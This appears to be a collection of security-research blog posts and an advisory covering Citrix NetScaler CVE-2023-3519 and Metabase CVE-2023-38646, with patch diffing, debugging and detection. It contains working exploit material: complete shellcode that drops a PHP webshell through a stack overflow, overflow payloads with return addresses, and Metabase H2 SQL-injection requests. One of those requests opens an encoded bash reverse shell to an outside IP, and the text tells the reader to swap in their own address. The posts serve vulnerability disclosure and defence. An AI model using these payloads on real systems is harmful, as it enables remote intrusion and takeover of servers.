[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x00007fffffffc139 in ?? ()
gdb-peda$ backtrace
#0  0x00007fffffffc139 in ?? ()
#1  0x0000000000743e6d in ns_vpn_process_unauthenticated_request ()
#2  0x000000000078245b in ns_aaa_cookie_valid ()
#3  0x00000000007923c3 in ns_aaa_client_handler ()
#4  0x0000000001e14f89 in nshttp_handler ()
#5  0x000000000113aa27 in nsssl_handlePkt ()
#6  0x00000000014e524d in ns_sslSendHTTPDataPkts ()
#7  0x00000000014e6d5e in ssl3_accept ()
#8  0x00000000014d34f5 in SSL_input ()
#9  0x000000000113a7cc in nsssl_handler ()
#10 0x000000000113a412 in nsssl_generic_handler ()
#11 0x0000000001e5aeb0 in nstcp_input ()
#12 0x0000000001e4bc5a in handleL4Session ()
#13 0x0000000001e48c21 in dispatch_tcp ()
#14 0x0000000001e41e6c in nic_rx_flush_pipeline ()
#15 0x0000000001e41c09 in vc_poll ()
#16 0x00000000015c858f in ns_netio ()
#17 0x00000000015c8422 in packet_engine ()
#18 0x0000000001a5ffb5 in ns_enter_main ()
#19 0x0000000001a643dd in main ()
#20 0x00000000004002db in _start ()

Writing an Exploit

We now had a reliable starting point, all we had to do was write shellcode that would execute arbitrary commands. The approach we settled on was to write a small webshell to a file and then call that with a separate request. To do this we modified the payload to start with the filename and file contents. We also had to update the return address to land after this point in the buffer. We now had the following shellcode.

shellcode  = b''
shellcode += b'/var/vpn/theme/x.php\x00'       # 21 bytes
shellcode += b'<?php+system($_GET[0]);+?>\x00' # 27 bytes
shellcode += b'\x48\x83\xC4\x30'               # add rsp, 0x30
shellcode += b'\x5d'                           # pop rbp
shellcode += b'\xc3'                           # ret

Unfortunately, when we looked at the buffer, a null byte had been inserted midway through.

gdb-peda$ x/3s 0x7fffffffc130
0x7fffffffc130:	"/var/vpn/theme/x.php"
0x7fffffffc145:	"<?php system"
0x7fffffffc152:	"$_GET[0]); ?>"

To fix this we added some padding, the last of which would be converted to a null byte. The shellcode was now the following.

shellcode  = b''
shellcode += b'/var/vpn/theme/x.php\x00'       # 21 bytes
shellcode += b'AAAAAAAAAAAAA'                  # 13 bytes
shellcode += b'<?php+system($_GET[0]);+?>\x00' # 27 bytes
shellcode += b'\x48\x83\xC4\x30'               # add rsp, 0x30
shellcode += b'\x5d'                           # pop rbp
shellcode += b'\xc3'                           # ret

The first stage of the exploit would be making the open syscall to get a file descriptor. Since NetScaler is based on FreeBSD we would be using the x64 System V ABI calling convention. The first three arguments to the call would be in registers rdi, rsi and rdx. The syscall number would be in rax and it would be triggered via the syscall instruction.

To begin we copy rsp to rdi and then subtract 0xb0 so that it points to the start of /var/vpn/theme/x.php.

shellcode += b'\x48\x89\xe7'                   # mov rdi, rsp 
shellcode += b'\x48\x81\xef\xb0\x00\x00\x00'   # sub rdi, 0xb0

Next we needed to set the flags argument, we wanted O_CREAT | O_WRONLY to create the file and open it for writing. A small gotcha when looking up these constants is to ensure you get the FreeBSD values and not the Linux ones. On Linux O_CREAT is 0x100, but on FreeBSD it is 0x200.

shellcode += b'\xbe\x01\x02\x00\x00'           # mov esi, 0x201

For the final argument, we set the mode to 0x1ff which corresponds to a 777 file mode.

shellcode += b'\xba\xff\x01\x00\x00'           # mov edx, 0x1ff

Lastly, we set the rax register to the open syscall number, which on FreeBSD is 5. We could then execute the syscall.

shellcode += b'\xb8\x05\x00\x00\x00'           # mov eax, 0x5
shellcode += b'\x0f\x05'                       # syscall

Next we needed to make a write syscall. Since rax should hold the file descriptor returned from the open syscall, we copied that to the rdi register. We then did the same rsp trick as before to get a pointer to the file contents into the rsi register. And lastly, we put the file size in bytes (0x1a) into the rdx register.

shellcode += b'\x48\x89\xc7'                   # mov rdi, rax
shellcode += b'\x48\x89\xe6'                   # mov rsi, rsp
shellcode += b'\x48\x81\xee\x8e\x00\x00\x00'   # sub rsi, 0x8e
shellcode += b'\xba\x1a\x00\x00\x00'           # mov edx, 0x1a
shellcode += b'\xb8\x04\x00\x00\x00'           # mov eax, 0x4
shellcode += b'\x0f\x05'                       # syscall

Next we made a close syscall. The first and only argument was in rdi and is the file descriptor which was unchanged from the previous call. So all we needed to do was set the rax register and execute the syscall instruction.

shellcode += b'\xb8\x06\x00\x00\x00'           # mov rax, 0x6
shellcode += b'\x0f\x05'                       # syscall

At this stage, we now had the full payload which is shown below.

shellcode  = b''
shellcode += b'/var/vpn/theme/x.php\x00'       # 21 bytes
shellcode += b'AAAAAAAAAAAAA'                  # 13 bytes
shellcode += b'<?php+system($_GET[0]);+?>\x00' # 27 bytes

# open syscall
shellcode += b'\x48\x89\xe7'                   # mov rdi, rsp 
shellcode += b'\x48\x81\xef\xb0\x00\x00\x00'   # sub rdi, 0xb0
shellcode += b'\xbe\x01\x02\x00\x00'           # mov esi, 0x201
shellcode += b'\xba\xff\x01\x00\x00'           # mov edx, 0x1ff
shellcode += b'\xb8\x05\x00\x00\x00'           # mov eax, 0x5
shellcode += b'\x0f\x05'                       # syscall

# write syscall
shellcode += b'\x48\x89\xc7'                   # mov rdi, rax
shellcode += b'\x48\x89\xe6'                   # mov rsi, rsp
shellcode += b'\x48\x81\xee\x8e\x00\x00\x00'   # sub rsi, 0x8e
shellcode += b'\xba\x1a\x00\x00\x00'           # mov edx, 0x1a
shellcode += b'\xb8\x04\x00\x00\x00'           # mov eax, 0x4
shellcode += b'\x0f\x05'                       # syscall

# close syscall
shellcode += b'\xb8\x06\x00\x00\x00'           # mov rax, 0x6
shellcode += b'\x0f\x05'                       # syscall

# cleanup
shellcode += b'\x48\x83\xC4\x30'               # add rsp, 0x30
shellcode += b'\x5d'                           # pop rbp
shellcode += b'\xc3'                           # ret

shellcode_encoded = tweaked_url_encode(shellcode)

return_address = b'\x6d\xc1\xff\xff\xff\x7f\x00\x00'
return_address_encoded = tweaked_url_encode(return_address)

padding = b'A' * (168 - len(shellcode))
payload = shellcode_encoded + padding + return_address_encoded

After executing this we could call the webshell as follows.

$ curl -kv 'https://192.168.1.225/vpn/theme/x.php?0=uname%20-a'
FreeBSD ns 11.4-NETSCALER-13.1 FreeBSD 11.4-NETSCALER-13.1 #0 2596b10c4(rs_131_48_41_RTM): Sat Jun  3 00:57:48 PDT 2023     root@sjc-bld-bsd114-232:/usr/obj/usr/home/build/adc/usr.src/sys/NS64  amd6

Note that the response from this is cached by NetScaler, the only way we could find to clear the cache was a restart or by also running /netscaler/nsapimgr_wr.sh -ys call=ns_ic_flush. A bit more work would be required to make this work in one shot, but for the purpose of proving exploitability this was all we needed.

Final Thoughts

In this post we saw an almost textbook example of a stack-based buffer overflow. The initial flaw was an unbounded copy, but this was exacerbated by having no other mitigations. The stack was executable, address space was not randomised, there were no stack canaries and the Gateway application is bundled with the network stack rather than in a separate process with less privileges. With no special configuration required and the popularity of this appliance this vulnerability has had a huge impact.

We also saw the importance of good tooling. Our previous research on Citrix Gateway was definitely slowed by not having a decent debugging setup. And even in this case, where we had everything setup, the 30+ second restart time between crashes was a big dampener on how fast we could develop the exploit.

As always, customers of our Attack Surface Management platform have been notified for the presence of this vulnerability. We continue to perform original security research in an effort to inform our customers about zero-day and N-day vulnerabilities in their attack surface.

Analysis of CVE-2023-3519 in Citrix ADC and NetScaler Gateway (Part 2)

Mon, 24 Jul 2023 19:15:03 +1000

In our last post we uncovered a vulnerability inside Citrix ADC and NetScaler Gateway that was in the patch fix for CVE-2023-3519. It seems that this vulnerability, while also critical, is not the one that is being exploited in the wild by threat actors.

We continued our analysis and discovered an endpoint which allowed for remote code execution without the need of any special configurations such as SAML being enabled. This vulnerability matches more closely with the description of the CVE, Citrix’s advisory and any other public research that has surfaced.

By continuing our analysis of the patch diff, we discovered ns_aaa_gwtest_get_event_and_target_names had some changes which are shown below.

// Unpatched Version

if (iVar3 + 1 == iVar7 + -6) {
 	iVar3 = ns_aaa_saml_url_decode(pcVar1,param_2);
  	pcVar8 = local_38;
  	if (iVar3 == 0) {
    	uVar9 = 0x16000c;
  	} else {
    	*(undefined *)(param_2 + iVar3) = 0;
    	uVar9 = 0;
  	}
}

// Patched Version

if ((iVar3 + 1 == uVar8 - 6) && (uVar9 = 0x160010, iVar3 < 0x80)) {
	iVar3 = ns_aaa_saml_url_decode(pcVar1,param_2,iVar3);
	pcVar7 = local_38;
	if (iVar3 == 0) {
  		uVar9 = 0x16000c;
	} else {
  		*(undefined *)(param_2 + iVar3) = 0;
  		uVar9 = 0;
	}
}

Note the additional check of iVar3 which is then passed as a parameter to ns_aaa_saml_url_decode. Tracing the callgraph backwards we found our vulnerable function is called at the start of ns_aaa_gwtest_get_valid_fsso_server which is available at the path /gwtest/formssso.

Looking at this endpoint we were able to determine that it expected an event query parameter with a value of start or stop. The function then URL decoded the target query parameter with no length check. To verify we constructed the following request:

GET /gwtest/formssso?event=start&target=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA HTTP/1.1
Host: 192.168.1.225

Which resulted in the following crash.

After a bit of fiddling, we were then able to slot in a return address to a location in the stack where we placed some INT3 instructions (0xcc). The payload we used is shown below.

payload  = b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
payload += b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
payload += b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
payload += b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
payload += b'\xf0\xc1\xff\xff\xff\x7f%00%00CCCCCCCCDDDDDDDD\xcc\xcc\xcc\xcc'

Again we hit our crash in GDB. This time halting on our interrupt instructions as they were executed.

The next step is to pivot this to be able to run arbitrary commands, but that is a topic for another blog post.

Detecting this vulnerability is quite challenging as this endpoint behaves in a similar way when sending a non-malicious paylod on both patched and unpatched instances (500 error).

While we find that version based checks (relying on Last-Modified or hashes and version numbers) can often be less accurate, at the time of writing this blog post, there are no other ways to detect this vulnerability without attempting the exploit.

We suggest that organizations review the Indicators of Compromise from CISA and patch their instances of Citrix ADC and NetScaler Gateway ASAP as per the Citrix advisory.

Additional detection and exploitation mechanisms have been released for customers of our Attack Surface Management platform, providing coverage over this emerging, and in the wild exploited threat.

Chaining our way to Pre-Auth RCE in Metabase (CVE-2023-38646)

Sat, 22 Jul 2023 13:59:23 +1000

Metabase is an open source business intelligence tool that lets you create charts and dashboards using data from a variety of databases and data sources. It’s a popular project, with over 33k stars on GitHub and has had quite a lot of scrutiny from a vulnerability research perspective in the last few years.

Our security research team decided to focus on this product due to our experiences in dealing with previous vulnerabilities that affected Metabase (Log4Shell, SSRF) and due to our analysis on the widespread nature of this software on the internet.

Despite Metabase not giving us credit in their initial advisory, we were the original discoverers and reporters of this bug to Metabase.

As of writing this blog post, there are about ~20k instances of Metabase exposed on the external internet. Given that this tool is designed to connect to extremely sensitive datasources, a pre-auth RCE vulnerability has a great impact, as not only are you able to get a shell on a critical part of an organization’s network, but you will likely also be able to access sensitive datasources.

In order to follow along in our journey to achieving pre-auth RCE, you can spin up an instance of Metabase that is vulnerable by running the following command: docker run -d -p 3000:3000 --name metabase metabase/metabase:v0.46.6. This will spin up a vulnerable instance of Metabase on port 3000. No special configuration is required to exploit the vulnerability we present in this blog.

When reviewing the different flows inside Metabase and capturing the traffic from the installation steps of the product, we noticed that there was a special token that was used to allow users to complete the setup process. This token was called the setup-token and most people would assume that the setup flow can only be completed once (the first setup).

After auditing Metabase’s Clojure code and their frontend, we found that the intended flow for Metabase’s setup looked something like the following:

However, as we set up our local instance of Metabase, we were shocked to find that the setup-token value was still present after the installation and accessible to unauthenticated users via the following two methods:

Viewing the HTML source of the index/login page and finding it embedded in a JSON object
Viewing /api/session/properties (also accessible without auth)

So, in reality, what was actually happening was the following:

But hang on a second, a lot of the instances we were checking online did not have the setup-token exposed. Many instances we checked had "setup-token":null, so why is our local installation not wiping the setup token? We did get some comfort as we did also find plenty of instances in the wild where the setup-token had not been wiped even though the instances were fully setup.

At this point, both my colleague and I were frantically trying to work out the root cause of this issue. It was not immediately obvious even after several hours of reading their codebase. We decided to take a journey down memory lane and systematically go through their historical commits until we found a clue.

Eventually, we landed on the following commit made in Jan, 2022: https://github.com/metabase/metabase/commit/0526d88f997d0f26304cdbb6313996df463ad13f#diff-44990eafd7da3ac7942a9f232b56ec045c558fdc3c414a2439e42b5668eced32L141.

Based off our understanding, there was some refactoring work done on the Metabase codebase where a critical part of the setup flow was deleted: removing the setup token after Metabase has been setup.

To explain the caveat to this entire chain, in order for your Metabase instance to have been vulnerable, it must have been set up after this commit was made (Jan 2022). This explained why so many older Metabase instances did not have their setup-token exposed.

With that mystery solved, we moved onto the next stage of the exploitation process, which was going from an exposed setup token to reliable remote code execution. Given that Metabase is designed to connect to so many different types of datasources/databases, we were confident that we could escalate this vulnerability.

The setup phase of Metabase prompts you to connect to a datasource/database. As this is a part of the setup flow, an endpoint exists at /api/setup/validate which takes in a JDBC URI as a part of the POST request and then validates the connection before allowing you to complete the setup.

In the land of Clojure/Java, it’s common to see many different database connectors made possible through JDBC drivers, and from our previous experiences, we have been quite successful at achieving code execution by abusing these JDBC connectors.

One of the most common attack vectors in this space is abusing the H2 database INIT parameter to execute arbitrary code. We thought that this would be a straight forward way to achieve pre-auth RCE, however we quickly found that this issue had already been reported and patched by Metabase in the past.

As Metabase was actively blocking the usage of the INIT parameter when connecting to H2 databases, we had to determine an alternative connection string that would still execute our code. After spending a few hours on this, we discovered that a SQL injection vulnerability existed within the H2 database driver itself, allowing us to execute code without the usage of INIT.

The purpose of the INIT keyword in the first place, is just a SQL query that is ran on the initiation of the database connection. Even with this keyword being blocked, all we needed to do was to discover an alternative argument that would let us run arbitrary SQL. By using the TRACE_LEVEL_SYSTEM_OUT argument and stacking our SQL queries (via SQL injection), we were able to execute arbitrary code.

Even knowing this, we had one last challenge to surpass before getting RCE in a reliable manner, which H2 database were we going to point Metabase to during this validation step? Using the Metabase database itself would lead to the database being corrupt and was not an ideal exploit for this vulnerability.

We noticed that a sample H2 database is provided inside Metabase’s JAR file, and with the power of a zip URI, we could use this sample database in our attack chain without corrupting any databases or the application.

Combining all of these pieces together, we are left with a beautiful proof-of-concept which can be found below:

POST /api/setup/validate HTTP/1.1
Host: localhost
Content-Type: application/json
Content-Length: 566

{
    "token": "5491c003-41c2-482d-bab4-6e174aa1738c",
    "details":
    {
        "is_on_demand": false,
        "is_full_sync": false,
        "is_sample": false,
        "cache_ttl": null,
        "refingerprint": false,
        "auto_run_queries": true,
        "schedules":
        {},
        "details":
        {
            "db": "zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER IAMPWNED BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\nnew java.net.URL('https://example.com/pwn134').openConnection().getContentLength()\n$$--=x\\;",
            "advanced-options": false,
            "ssl": true
        },
        "name": "an-sec-research-team",
        "engine": "h2"
    }
}

Just to recap, to get to this stage, the following was done:

Obtained the setup token from /api/session/properties
Found an API endpoint that can be used with this token that validates DB connections
Found a 0day SQL injection vulnerability in H2 db driver
Found that we could use zip:/app/metabase.jar!/sample-database.db to prevent the corruption of any databases on disk

With the request above, we were able to reliably get code execution.

The following payload can be used to obtain a reverse shell on the system:

POST /api/setup/validate HTTP/1.1
Host: localhost
Content-Type: application/json
Content-Length: 812

{
    "token": "5491c003-41c2-482d-bab4-6e174aa1738c",
    "details":
    {
        "is_on_demand": false,
        "is_full_sync": false,
        "is_sample": false,
        "cache_ttl": null,
        "refingerprint": false,
        "auto_run_queries": true,
        "schedules":
        {},
        "details":
        {
            "db": "zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER pwnshell BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\njava.lang.Runtime.getRuntime().exec('bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEuMS4xLjEvOTk5OCAwPiYx}|{base64,-d}|{bash,-i}')\n$$--=x",
            "advanced-options": false,
            "ssl": true
        },
        "name": "an-sec-research-team",
        "engine": "h2"
    }
}

The value of YmFzaCAtaSA+Ji9kZXYvdGNwLzEuMS4xLjEvOTk5OCAwPiYx decoded is bash -i >&/dev/tcp/1.1.1.1/9998 0>&1. You must encode this with your own IP and port, and then modify the payload above before sending it.

Based off discussions with other researchers, the following techniques are also possible:

Using a diacritic letter inside the word INIT to bypass the blocked keyword protection. (thanks to Reginaldo)
Using a mem DB instead of the zip URI. (thanks Harsh and Rahul)
Using other parameters in the H2 database for a SQL injection, anything that sets a property. (thanks to Marcio)

To remediate the issue, you can follow the instructions from Metabase that can be found here: https://www.metabase.com/blog/security-advisory and https://github.com/metabase/metabase/releases/tag/v0.46.6.1.

Advisory: Metabase Pre-Auth RCE (CVE-2023-38646)

Sat, 22 Jul 2023 00:00:00 +1000

Summary

An unauthenticated attacker can obtain the setup token for an instance and use it to achieve remote code execution via an endpoint that allows you to validate a H2 database connection. When validating the database, the H2 JDBC driver allows for the attacker to achieve RCE.

Impact

An attacker can execute arbitrary Java code on the system, leading to arbitrary command execution.

Affected Software

Metabase open source before 0.46.6.1 and Metabase Enterprise before 1.46.6.1 allow attackers to execute arbitrary commands on the server.

Product Description

Metabase is an open source business intelligence tool that lets you create charts and dashboards using data from a variety of databases and data sources.

Solution

Upgrade to the latest version of Metabase > v1.46.6.1.

Metabase’s official advisory can be found here.

Blog Post

The blog post detailing the steps taken for the discovery of this vulnerability can be found here.

Credits

Shubham Shah - Assetnote Security Research Team

Maxwell Garrett

Analysis of CVE-2023-3519 in Citrix ADC and NetScaler Gateway

Fri, 21 Jul 2023 15:37:51 +1000

Update: we have discovered the endpoint being used by threat actors for CVE-2023-3519 and you can read Part 2 of this blog post here.

We have been notified that the patches from Citrix cover more than one vulnerability, and that the issue identified in our blog post may not be the only one. There is a possibility that a pre-auth RCE exists without SAML being enabled.

Note: our analysis so far indicates that SAML has to be enabled for exploitation, this may change as we continue to reverse engineer this vulnerability. We will update our blog post accordingly.

In the last week, Citrix have released an advisory which included a fix for a critical RCE vulnerability within Citrix ADC and NetScaler Gateway. There have been indications that the exploit for this has been sold on the internet since some time in June, however this advisory solidified the presence of a real vulnerability.

If you are just looking for a script to determine the exploitability of this issue for your Citrix machines, you can obtain our detection script here: https://github.com/assetnote/exploits/tree/main/citrix/CVE-2023-3519.

We’ve spent a lot of time auditing and reviewing Citrix’s ADC and NetScaler Gateway in the last year, leading to the discovery of CVE-2023-24488. Upon seeing the advisory of CVE-2023-3519, our security research team has been tasked to build accurate detections for this issue for our Attack Surface Management platform.

In this blog post, we’ll be describing our efforts so far in reverse engineering Citrix and our analysis from the patch diffing that we performed. We do not yet have a working exploit chain, however we have worked on a detection mechanism that is higher signal than relying on Last-Modified dates or scraping version numbers from /vpn/pluginlist.xml.

As we are still working through the process of reviewing the patch diffs, our analysis is not complete and will be updated as we discover more information about this vulnerability. Given that this vulnerability is being exploited in the wild, we wanted to share what we know so defenders can better detect vulnerable instances on their attack surface.

The Citrix website does not make it obvious for where to register an account (necessary to claim the licenses). We were able to register a Citrix account through the following link: https://onboarding.cloud.com/. After the account has been registered, you can head to the following link to claim an evaluation license. You will need to repeat this process twice to obtain two evaluation keys (one for your patched instance and one for your unpatched instance).

After obtaining copies of each version we generated a BinDiff file for their nsppe binaries. When comparing these we found roughly fifty functions were different and proceeded to investigate each one. Eventually, we got to ns_aaa_saml_parse_authn_request and noticed an error log was added in the patched version. From the message it sounded like a check was added to ensure a list of canonicalization methods did not exceed a maximum value. Our suspicion was that in the unpatched version, it is possible to exceed this limit.

We believe that this issue is within the SAML processing components of Citrix ADC and NetScaler Gateway. We appreciate the analysis from Ron Bowes which came to a similar conclusion as us on this issue.

In the ns_aaa_saml_parse_authn_request function the SAML payload is parsed into a struct containing the relevant details. We believe this struct includes a fixed array of canonicalization method values. Each time the parser sees a new CanonicalizationMethod tag it checks the Algorithm attribute against a list of supported algorithms and adds an associated enum value to the array. In the unpatched version there is no bounds check performed and as such, it is possible to write off the end of the array. This corrupts the rest of the struct and any allocated memory that follows.

Because the parser checks the Algorithm attribute and writes a corresponding enum value, we were only able to write bytes 0x3 or 0x2 into this buffer. Through this, it was possible to cause segfaults and corrupt memory, but we have not been able to demonstrate RCE so far.

In addition to our analysis above, we noticed that the behaviour above can only be triggered if SAML is enabled. It seems that the requests are stopped pretty early in the chain when SAML is not enabled.

This is not a final assessment of the issue as there may be different entry points that do not require SAML being enabled. The advisory from Citrix and all public information so far also does not mention the requirement of SAML having to be enabled to exploit this issue

Based off the responses returned by Citrix, we were able to determine whether or not a Citrix instance may be vulnerable through the following error oracle:

SAML Disabled -> Matching policy not found while trying to process Assertion; Please contact your administrator
SAML Enabled + Patched -> Unsupported mechanisms found in Assertion; Please contact your administrator
SAML Enabled + Unpatched -> SAML Assertion verification failed; Please contact your administrator

This error oracle works by sending a POST HTTP request to /saml/login where the SAML assertion contains 11 instances of CanonicalizationMethod whereas the max permitted on patched instances is 10. This check does not cause any disruption on the instance and there is a clear difference between an unpatched and patched instance in the error messages.

The following request will trigger the error: SAML Assertion verification failed; Please contact your administrator error message on unpatched instances. on unpatched instances:

POST /saml/login HTTP/1.1
Host: 192.168.1.225
Connection: close
Content-Length: 3150
Content-Type: application/x-www-form-urlencoded

SAMLRequest=PHNhbWxwOkF1dGhuUmVxdWVzdCB4bWxuczpzYW1scD0idXJuOm9hc2lzOm5hbWVzOnRjOlNBTUw6Mi4wOnByb3RvY29sIiB4bWxuczpzYW1sPSJ1cm46b2FzaXM6bmFtZXM6dGM6U0FNTDoyLjA6YXNzZXJ0aW9uIiBJRD0icGZ4NDFkOGVmMjItZTYxMi04YzUwLTk5NjAtMWIxNmYxNTc0MWIzIiBWZXJzaW9uPSIyLjAiIFByb3ZpZGVyTmFtZT0iU1AgdGVzdCIgRGVzdGluYXRpb249Imh0dHA6Ly9pZHAuZXhhbXBsZS5jb20vU1NPU2VydmljZS5waHAiIFByb3RvY29sQmluZGluZz0idXJuOm9hc2lzOm5hbWVzOnRjOlNBTUw6Mi4wOmJpbmRpbmdzOkhUVFAtUE9TVCIgQXNzZXJ0aW9uQ29uc3VtZXJTZXJ2aWNlVVJMPSJodHRwOi8vc3AuZXhhbXBsZS5jb20vZGVtbzEvaW5kZXgucGhwP2FjcyI%2BCiAgPHNhbWw6SXNzdWVyPkE8L3NhbWw6SXNzdWVyPgogIDxkczpTaWduYXR1cmUgeG1sbnM6ZHM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvMDkveG1sZHNpZyMiPgogICAgPGRzOlNpZ25lZEluZm8%2BCiAgICAgIDxkczpDYW5vbmljYWxpemF0aW9uTWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8xMC94bWwtZXhjLWMxNG4jIi8%2BCiAgICAgIDxkczpDYW5vbmljYWxpemF0aW9uTWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8xMC94bWwtZXhjLWMxNG4jIi8%2BCiAgICAgIDxkczpDYW5vbmljYWxpemF0aW9uTWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8xMC94bWwtZXhjLWMxNG4jIi8%2BCiAgICAgIDxkczpDYW5vbmljYWxpemF0aW9uTWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8xMC94bWwtZXhjLWMxNG4jIi8%2BCiAgICAgIDxkczpDYW5vbmljYWxpemF0aW9uTWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8xMC94bWwtZXhjLWMxNG4jIi8%2BCiAgICAgIDxkczpDYW5vbmljYWxpemF0aW9uTWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8xMC94bWwtZXhjLWMxNG4jIi8%2BCiAgICAgIDxkczpDYW5vbmljYWxpemF0aW9uTWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8xMC94bWwtZXhjLWMxNG4jIi8%2BCiAgICAgIDxkczpDYW5vbmljYWxpemF0aW9uTWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8xMC94bWwtZXhjLWMxNG4jIi8%2BCiAgICAgIDxkczpDYW5vbmljYWxpemF0aW9uTWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8xMC94bWwtZXhjLWMxNG4jIi8%2BCiAgICAgIDxkczpDYW5vbmljYWxpemF0aW9uTWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8xMC94bWwtZXhjLWMxNG4jIi8%2BCiAgICAgIDxkczpDYW5vbmljYWxpemF0aW9uTWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8xMC94bWwtZXhjLWMxNG4jIi8%2BCiAgICAgIDxkczpTaWduYXR1cmVNZXRob2QgQWxnb3JpdGhtPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwLzA5L3htbGRzaWcjcnNhLXNoYTEiLz4KICAgICAgPGRzOlJlZmVyZW5jZSBVUkk9IiNwZng0MWQ4ZWYyMi1lNjEyLThjNTAtOTk2MC0xYjE2ZjE1NzQxYjMiPgogICAgICAgIDxkczpUcmFuc2Zvcm1zPgogICAgICAgICAgPGRzOlRyYW5zZm9ybSBBbGdvcml0aG09Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvMDkveG1sZHNpZyNlbnZlbG9wZWQtc2lnbmF0dXJlIi8%2BCiAgICAgICAgICA8ZHM6VHJhbnNmb3JtIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8xMC94bWwtZXhjLWMxNG4jIi8%2BCiAgICAgICAgPC9kczpUcmFuc2Zvcm1zPgogICAgICAgIDxkczpEaWdlc3RWYWx1ZT5BPC9kczpEaWdlc3RWYWx1ZT4KICAgICAgPC9kczpSZWZlcmVuY2U%2BCiAgICA8L2RzOlNpZ25lZEluZm8%2BCiAgICA8ZHM6U2lnbmF0dXJlVmFsdWU%2BQTwvZHM6U2lnbmF0dXJlVmFsdWU%2BCiAgPC9kczpTaWduYXR1cmU%2BCiAgPHNhbWxwOk5hbWVJRFBvbGljeSBGb3JtYXQ9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjEuMTpuYW1laWQtZm9ybWF0OmVtYWlsQWRkcmVzcyIgQWxsb3dDcmVhdGU9InRydWUiLz4KICA8c2FtbHA6UmVxdWVzdGVkQXV0aG5Db250ZXh0IENvbXBhcmlzb249ImV4YWN0Ij4KICAgIDxzYW1sOkF1dGhuQ29udGV4dENsYXNzUmVmPnVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDphYzpjbGFzc2VzOlBhc3N3b3JkUHJvdGVjdGVkVHJhbnNwb3J0PC9zYW1sOkF1dGhuQ29udGV4dENsYXNzUmVmPgogIDwvc2FtbHA6UmVxdWVzdGVkQXV0aG5Db250ZXh0Pgo8L3NhbWxwOkF1dGhuUmVxdWVzdD4%3D

On unpatched instances, you can include as many instances of CanonicalizationMethod where all of them are parsed, before the flow failing due to the SAML assertion having an incorrect signature. On patched instances, it assumes that there is something wrong before getting to the verification step.

We also discovered the endpoints /cgi/samlauth, /saml/activelogin, /cgi/samlart?samlart= and /cgi/logout which expect a SAMLResponse, but these endpoint also require SSO to be configured in order to exploit this vulnerability based off our testing. At this time, we have not discovered an endpoint which allows for exploitation without SAML being enabled.

We’ve built the following Python script to detect the presence of this vulnerability: https://github.com/assetnote/exploits/tree/main/citrix/CVE-2023-3519.

Our checking mechanism is much more high signal than anything currently out there when assessing exploitability. Most other scanners and scripts are relying on version based checks to determine the exploitability of this issue. So far based on our analysis, SAML needs to be enabled to make the system vulnerable.

Assetnote

High Signal Detection and Exploitation of Ivanti's Pulse Connect Secure Auth Bypass & RCE

Citrix Bleed: Leaking Session Tokens with CVE-2023-4966

RCE in Progress WS_FTP Ad Hoc via IIS HTTP Modules (CVE-2023-40044)

Leaking File Contents with a Blind File Oracle in Flarum

Introduction

Understanding the Flarum Software

Looking at the Upload Functionality

When Library Code is Dangerous by Default

Blind File Oracles 101

Remediation

Conclusion

Advisory: Flarum LFI - CVE-2023-40033

Summary

Impact

Affected Software

Product Description

Solution

Blog Post

Credits

Finding and Exploiting Citrix NetScaler Buffer Overflow (CVE-2023-3519) (Part 3)

Introduction

Patch Diffing

Debugging Citrix NetScaler

Dissecting the Crash

Exiting Cleanly

Writing an Exploit

Final Thoughts

Analysis of CVE-2023-3519 in Citrix ADC and NetScaler Gateway (Part 2)

Chaining our way to Pre-Auth RCE in Metabase (CVE-2023-38646)

Advisory: Metabase Pre-Auth RCE (CVE-2023-38646)

Summary

Impact

Affected Software

Product Description

Solution

Blog Post

Credits

Analysis of CVE-2023-3519 in Citrix ADC and NetScaler Gateway